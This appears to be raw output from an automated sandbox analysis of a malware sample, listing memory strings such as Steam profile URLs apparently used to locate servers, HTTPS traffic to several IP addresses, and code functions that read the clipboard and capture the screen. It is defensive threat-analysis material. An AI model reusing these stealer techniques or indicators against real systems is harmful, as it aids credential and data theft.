Source: T4qO1i2Jav.exe, 00000000.00000003.1771392328.000000000095F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000981000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792887999.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900u
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000981000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792887999.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: T4qO1i2Jav.exe, 00000000.00000003.1816105164.0000000003BA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: T4qO1i2Jav.exe, 00000000.00000003.1867689610.0000000003C2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: T4qO1i2Jav.exe, 00000000.00000003.1867689610.0000000003C2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: T4qO1i2Jav.exe, 00000000.00000003.1816105164.0000000003BA3000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1816227681.0000000003B57000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1840812297.0000000003B57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: T4qO1i2Jav.exe, 00000000.00000003.1816227681.0000000003B32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: T4qO1i2Jav.exe, 00000000.00000003.1816105164.0000000003BA3000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1816227681.0000000003B57000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1840812297.0000000003B57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: T4qO1i2Jav.exe, 00000000.00000003.1816227681.0000000003B32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: T4qO1i2Jav.exe, 00000000.00000003.1867689610.0000000003C2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: T4qO1i2Jav.exe, 00000000.00000003.1867689610.0000000003C2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: T4qO1i2Jav.exe, 00000000.00000003.1867689610.0000000003C2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: T4qO1i2Jav.exe, 00000000.00000003.1867689610.0000000003C2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: T4qO1i2Jav.exe, 00000000.00000003.1867689610.0000000003C2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: {856608C8-C458-11EF-8C2C-ECF4BBEA1588}.dat.37.dr	String found in binary or memory: https://www.youtube.com/watch?v=wjIuS_rQQsY
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148856128.0000000000BC0000.00000004.00000020.00020000.00000000.sdmp, Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255270179.0000000000A10000.00000004.00000020.00020000.00000000.sdmp, 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422010886.0000000000B80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/watch?v=wjIuS_rQQsYC:
Source: Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255404371.0000000000ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/watch?v=wjIuS_rQQsYeu

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50207
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.182.218:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.182.218:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.29:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.182.218:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.29:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.29:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.29:443 -> 192.168.2.4:50082 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.161.29:443 -> 192.168.2.4:50207 version: TLS 1.2

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Code function: 0_2_008B1A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_008B1A30

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Code function: 0_2_008B1A30 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

0_2_008B1A30

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe

Code function: 0_2_008B1BB0 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

0_2_008B1BB0

Source: C:\Users\user\AppData\Local\Temp\U08CYPEDK3U9ZW3NZ4R.exe

Code function: 5_2_006EF1E1: DeviceIoControl,GetLastError,

5_2_006EF1E1

Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000B00D0	0_2_000B00D0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000965B4	0_2_000965B4
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0009C720	0_2_0009C720
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00094751	0_2_00094751
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000C4934	0_2_000C4934
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0009A967	0_2_0009A967
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00098A1F	0_2_00098A1F
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00094CDD	0_2_00094CDD
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000BED70	0_2_000BED70
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000C5120	0_2_000C5120
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000BF4D8	0_2_000BF4D8
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00097794	0_2_00097794
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000AF80C	0_2_000AF80C
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0009B858	0_2_0009B858
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000C79A0	0_2_000C79A0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_000C1AA4	0_2_000C1AA4
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00095D2F	0_2_00095D2F
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A6170	0_2_008A6170
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0088E2A9	0_2_0088E2A9
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008BE690	0_2_008BE690
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008AC6D7	0_2_008AC6D7
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00892670	0_2_00892670
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008887F0	0_2_008887F0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0088A960	0_2_0088A960
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00896B7E	0_2_00896B7E
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008B6C40	0_2_008B6C40
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008B6F90	0_2_008B6F90
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00890FD6	0_2_00890FD6
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A33A0	0_2_008A33A0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A15F0	0_2_008A15F0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008897B0	0_2_008897B0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008B9B90	0_2_008B9B90
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008BDCF0	0_2_008BDCF0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008ABFDA	0_2_008ABFDA
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008ABFD3	0_2_008ABFD3
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A80B0	0_2_008A80B0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008B80D9	0_2_008B80D9
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008BA030	0_2_008BA030
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0088E06A	0_2_0088E06A
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A5F7D	0_2_008A5F7D
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008B01D0	0_2_008B01D0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008881F0	0_2_008881F0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008AA100	0_2_008AA100
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008BE2C0	0_2_008BE2C0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00886200	0_2_00886200
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00884270	0_2_00884270
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A2270	0_2_008A2270
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008BA3F0	0_2_008BA3F0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0089C360	0_2_0089C360
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008B6430	0_2_008B6430
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00896571	0_2_00896571
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00886690	0_2_00886690
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008B6690	0_2_008B6690
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A66E7	0_2_008A66E7
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008967A5	0_2_008967A5
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A0717	0_2_008A0717
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00898731	0_2_00898731
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00888990	0_2_00888990
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A297F	0_2_008A297F
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008BCAC0	0_2_008BCAC0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00894A40	0_2_00894A40
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0088CA54	0_2_0088CA54
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00884BA0	0_2_00884BA0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0089CB5A	0_2_0089CB5A
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008BCAC0	0_2_008BCAC0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008BCCE0	0_2_008BCCE0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A2CF8	0_2_008A2CF8
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00898C1E	0_2_00898C1E
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008B4C4D	0_2_008B4C4D
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008BCD60	0_2_008BCD60
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00896E97	0_2_00896E97
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00882EA0	0_2_00882EA0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A6EBE	0_2_008A6EBE
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0089AE00	0_2_0089AE00
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008BCE00	0_2_008BCE00
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00898FAD	0_2_00898FAD
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00894F08	0_2_00894F08
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0089EF30	0_2_0089EF30
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A8F5D	0_2_008A8F5D
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008AD085	0_2_008AD085
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00889070	0_2_00889070
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00897190	0_2_00897190
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008992BA	0_2_008992BA
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A92D0	0_2_008A92D0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008B533A	0_2_008B533A
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0088B351	0_2_0088B351
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00889360	0_2_00889360
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0089D420	0_2_0089D420
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0088D44C	0_2_0088D44C
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00887470	0_2_00887470
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008B76B0	0_2_008B76B0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008956D0	0_2_008956D0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A5670	0_2_008A5670
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008AB763	0_2_008AB763
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008838C0	0_2_008838C0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_0089D8E0	0_2_0089D8E0
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008B7900	0_2_008B7900
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00896E97	0_2_00896E97
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00885910	0_2_00885910
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A5920	0_2_008A5920
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008ABA8D	0_2_008ABA8D
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_00895ADC	0_2_00895ADC
Source: C:\Users\user\Desktop\T4qO1i2Jav.exe	Code function: 0_2_008A3A00	0_2_008A3A00
